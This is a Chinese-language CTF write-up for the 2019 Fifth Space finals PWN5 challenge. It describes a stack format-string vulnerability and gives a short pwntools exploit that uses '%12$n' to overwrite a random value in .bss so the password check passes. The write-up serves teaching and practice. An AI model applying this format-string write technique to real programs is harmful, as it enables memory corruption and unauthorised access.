每日一pwn[[第五空间2019 决赛]PWN5]

前言

做这个题感觉很简单,但是脑袋没想得过来,一直在尝试用%s泄露随机数,然后写回去,发现无论咋样数据都很难写对,看了其他师傅的wp后发现可以用%n来写那个随机数,只能说自己太傻了。

分析

[![image-20240223094932521](/picture/每日一pwn[[第五空间2019 决赛]PWN5]/image-20240223094932521.png)](https://springbird3.oss-cn-chengdu.aliyuncs.com/lianxiang/20221022230518.png)

代码特别简单,就是生成随机数和一个格式化字符串的漏洞,还有输入数据进行对比,并且给了后门函数,于是直接用就行

漏洞点

存在栈上的格式化字符串漏洞,可以任意地址泄露和任意地址覆写的漏洞,于是可以泄露随机数,然后回写,或者改写那个随机数为我们输入的即可。不算太难,就直接贴EXP了

EXP

我的代码前面经过了部分lambda函数的定义的,是一个模板类型方便调试的exp,这里只给出了关键漏洞利用的数据

1
2
3
4
5
6
7
8
def exploit():
li('exploit...')
bss_addr = 0x0804C044
payload = "AAA"+"%12$n"+p32(bss_addr)
db()
sla("your name:",payload)
ru("Hello,")
sa("your passwd:","3")